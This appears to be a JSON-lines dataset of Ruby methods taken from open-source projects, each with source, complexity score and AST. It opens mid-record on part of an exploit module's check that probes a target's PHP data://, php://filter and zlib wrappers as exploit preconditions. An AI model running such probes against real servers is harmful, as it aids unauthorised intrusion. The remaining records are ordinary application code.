Base64.encode64(compressed_text).gsub(\"\\n\", '')\n\n    path = \"php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}\"\n    result3 = download_file(path)\n    if result3 == text\n      vprint_good('The zlib extension is enabled')\n    else\n      CheckCode::Safe('The zlib extension is not enabled')\n    end\n    CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')\n  end","complexity_score":38.7,"ast_json":"{\"type\":\"def\",\"children\":[\"check_php_rce_requirements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path1\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"data:text/plain;base64,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base64\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result1\",{\"type\":\"send\",\"children\":[null,\"download_file\",{\"type\":\"lvar\",\"children\":[\"path1\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result1\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"The data wrapper is working\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The data:// wrapper does not work\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base64\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path2\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"php://filter//resource=data:text/plain;base64,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base64\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result2\",{\"type\":\"send\",\"children\":[null,\"download_file\",{\"type\":\"lvar\",\"children\":[\"path2\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result2\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"The filter wrapper is working\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The php://filter/ wrapper does not work\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compressed_text\",{\"type\":\"send\",\"children\":[null,\"compress\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"encode64\",{\"type\":\"lvar\",\"children\":[\"compressed_text\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"php://filter/zlib.inflate/resource=data:text/plain;base64,\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base64\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result3\",{\"type\":\"send\",\"children\":[null,\"download_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result3\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"str\",\"children\":[\"The zlib extension is enabled\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"str\",\"children\":[\"The zlib extension is not enabled\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"Exploit precondition 2/3 met: PHP appears to be exploitable.\"]}]}]}]}","id":"d91c43d6-fcbd-4187-b826-e2b298de81c4"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/redmine/menu_manager/tree_node.rb","start_line":63,"raw_source":"def add_last(child)\n    raise(ArgumentError, \"Child already added\") if @children_hash.has_key?(child.name)\n\n    @children_hash[child.name] = child\n    @children << child\n    @last_items_count += 1\n    child.parent = self\n    child\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_last\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children_hash\"]},\"has_key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Child already added\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children_hash\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"child\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_items_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"parent=\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"child\"]}]}]}","id":"291b02ca-d78c-47bc-a03c-c25a7e5fe108"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/event.rb","start_line":302,"raw_source":"def action_name\n    if push_action?\n      push_action_name\n    elsif design?\n      design_action_names[action.to_sym]\n    elsif closed_action?\n      \"closed\"\n    elsif merged_action?\n      \"accepted\"\n    elsif joined_action?\n      'joined'\n    elsif left_action?\n      'left'\n    elsif expired_action?\n      'removed due to membership expiration from'\n    elsif destroyed_action?\n      'destroyed'\n    elsif commented_action?\n      \"commented on\"\n    elsif created_wiki_page?\n      'created'\n    elsif updated_wiki_page?\n      'updated'\n    elsif created_project_action?\n      created_project_action_name\n    elsif approved_action?\n      'approved'\n    else\n      \"opened\"\n    end\n  end","complexity_score":50.5,"ast_json":"{\"type\":\"def\",\"children\":[\"action_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"push_action?\"]},{\"type\":\"send\",\"children\":[null,\"push_action_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"design?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"design_action_names\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"to_sym\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"closed_action?\"]},{\"type\":\"str\",\"children\":[\"closed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merged_action?\"]},{\"type\":\"str\",\"children\":[\"accepted\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joined_action?\"]},{\"type\":\"str\",\"children\":[\"joined\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"left_action?\"]},{\"type\":\"str\",\"children\":[\"left\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expired_action?\"]},{\"type\":\"str\",\"children\":[\"removed due to membership expiration from\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroyed_action?\"]},{\"type\":\"str\",\"children\":[\"destroyed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commented_action?\"]},{\"type\":\"str\",\"children\":[\"commented on\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_wiki_page?\"]},{\"type\":\"str\",\"children\":[\"created\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"updated_wiki_page?\"]},{\"type\":\"str\",\"children\":[\"updated\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_project_action?\"]},{\"type\":\"send\",\"children\":[null,\"created_project_action_name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"approved_action?\"]},{\"type\":\"str\",\"children\":[\"approved\"]},{\"type\":\"str\",\"children\":[\"opened\"]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"d251430b-86b0-4f3a-9108-9aa35902a248"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_note_service.rb","start_line":367,"raw_source":"def unapprove_mr(noteable, user)\n    merge_requests_service(noteable, noteable.project, user).unapprove_mr\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unapprove_mr\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"noteable\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests_service\",{\"type\":\"lvar\",\"children\":[\"noteable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"unapprove_mr\"]}]}","id":"b0feffcf-a844-4f63-8f5e-3e77506ec32b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/imap/base_fetch_email_service.rb","start_line":31,"raw_source":"def mail_info_logger(inbound_mail, seq_no)\n    return if Rails.env.test?\n\n    Rails.logger.info(\"\n      #{channel.provider} Email id: #{inbound_mail.from} - message_source_id: #{inbound_mail.message_id} - sequence id: #{seq_no}\")\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"mail_info_logger\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"inbound_mail\"]},{\"type\":\"arg\",\"children\":[\"seq_no\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"provider\"]}]},{\"type\":\"str\",\"children\":[\" Email id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbound_mail\"]},\"from\"]}]},{\"type\":\"str\",\"children\":[\" - message_source_id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inbound_mail\"]},\"message_id\"]}]},{\"type\":\"str\",\"children\":[\" - sequence id: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seq_no\"]}]}]}]}]}]}","id":"f54d22aa-5798-4f5c-a4f0-ce2bd87006b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/api_authentication/builder.rb","start_line":11,"raw_source":"def build\n        strategies = Hash.new([])\n        yield ::Gitlab::APIAuthentication::TokenTypeBuilder.new(strategies)\n        strategies\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"strategies\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"APIAuthentication\"]},\"TokenTypeBuilder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"strategies\"]}]}]},{\"type\":\"lvar\",\"children\":[\"strategies\"]}]}]}","id":"ad605629-e648-4b3b-ab2c-397479614dd1"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipment.rb","start_line":415,"raw_source":"def update_attributes_and_order(params = {})\n      Shipments::Update.call(shipment: self, shipment_attributes: params).success?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_attributes_and_order\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Shipments\"]},\"Update\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shipment\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shipment_attributes\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},\"success?\"]}]}","id":"329c80ca-a07a-42e9-a0f4-5a234b12bb57"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/repository_link_filter.rb","start_line":144,"raw_source":"def relative_file_path(uri)\n        return if uri.nil?\n\n        build_relative_path(cleaned_file_path(uri), request_path)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"relative_file_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uri\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"build_relative_path\",{\"type\":\"send\",\"children\":[null,\"cleaned_file_path\",{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"request_path\"]}]}]}]}","id":"52d96845-69ab-451b-8c4f-b4c5da55df20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250316224142_finalize_delete_orphaned_stage_records.rb","start_line":27,"raw_source":"def force_finish\n    Gitlab::Database::BackgroundMigration::BatchedMigration.reset_column_information\n    migration = Gitlab::Database::BackgroundMigration::BatchedMigration.find_for_configuration(\n      gitlab_schema_from_context,\n      MIGRATION, :p_ci_stages, :pipeline_id, [],\n      include_compatible: true\n    )\n    return unless migration\n\n    migration.update_columns(\n      status: Gitlab::Database::BackgroundMigration::BatchedMigration.state_machines[:status].states[:finished].value\n    )\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"force_finish\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"BackgroundMigration\"]},\"BatchedMigration\"]},\"reset_column_information\"]},{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"BackgroundMigration\"]},\"BatchedMigration\"]},\"find_for_configuration\",{\"type\":\"send\",\"children\":[null,\"gitlab_schema_from_context\"]},{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"p_ci_stages\"]},{\"type\":\"sym\",\"children\":[\"pipeline_id\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_compatible\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"BackgroundMigration\"]},\"BatchedMigration\"]},\"state_machines\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"states\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"finished\"]}]},\"value\"]}]}]}]}]}]}","id":"a2f1734b-b37c-4fbb-a8b7-6b02f425541d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/cleanup_refs_service.rb","start_line":15,"raw_source":"def initialize(merge_request)\n      @merge_request = merge_request\n      @repository = merge_request.project.repository\n      @ref_path = merge_request.ref_path\n      @ref_head_sha = @repository.commit(merge_request.ref_path)&.id\n      @merge_ref_sha = merge_request.merge_ref_head&.id\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@merge_request\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"project\"]},\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ref_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"ref_path\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ref_head_sha\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"commit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"ref_path\"]}]},\"id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@merge_ref_sha\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"merge_ref_head\"]},\"id\"]}]}]}]}","id":"bbe00e96-903f-4de8-ba7c-8ee54c8246dc"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/geojson/params.rb","start_line":34,"raw_source":"def build_point(feature)\n    {\n      lonlat: \"POINT(#{feature[:geometry][:coordinates][0]} #{feature[:geometry][:coordinates][1]})\",\n      battery_status:     feature[:properties][:battery_state],\n      battery:            battery_level(feature[:properties][:battery_level]),\n      timestamp:          timestamp(feature),\n      altitude:           altitude(feature),\n      velocity:           speed(feature),\n      tracker_id:         feature[:properties][:device_id],\n      ssid:               feature[:properties][:wifi],\n      accuracy:           accuracy(feature),\n      vertical_accuracy:  feature[:properties][:vertical_accuracy],\n      raw_data:           feature\n    }\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_point\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lonlat\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"POINT(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"geometry\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"coordinates\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"geometry\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"coordinates\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"battery_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"battery_state\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"battery\"]},{\"type\":\"send\",\"children\":[null,\"battery_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"battery_level\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[null,\"timestamp\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"altitude\"]},{\"type\":\"send\",\"children\":[null,\"altitude\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"velocity\"]},{\"type\":\"send\",\"children\":[null,\"speed\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tracker_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"device_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ssid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"wifi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"accuracy\"]},{\"type\":\"send\",\"children\":[null,\"accuracy\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vertical_accuracy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feature\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"vertical_accuracy\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_data\"]},{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}","id":"1d24c582-7be1-4293-b734-3245ad10add2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/host.rb","start_line":298,"raw_source":"def update_host(opts)\n    ::ApplicationRecord.connection_pool.with_connection {\n      # process workspace string for update if included in opts\n      wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)\n      opts = opts.clone()\n      opts[:workspace] = wspace if wspace\n\n      id = opts.delete(:id)\n      host = Mdm::Host.find(id)\n      host.update!(opts)\n      return host\n    }\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mdm\"]},\"Host\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"update!\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]}]}","id":"9b08dbbd-d96b-4c0a-b267-b99c533f0cdc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/milestones_finder.rb","start_line":69,"raw_source":"def by_search_title(items)\n    if params[:search_title].present?\n      items.search_title(params[:search_title])\n    else\n      items\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"by_search_title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_title\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"search_title\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_title\"]}]}]},{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}","id":"f2b43c1c-5ef9-4f4a-bb59-74aa391af64e"}
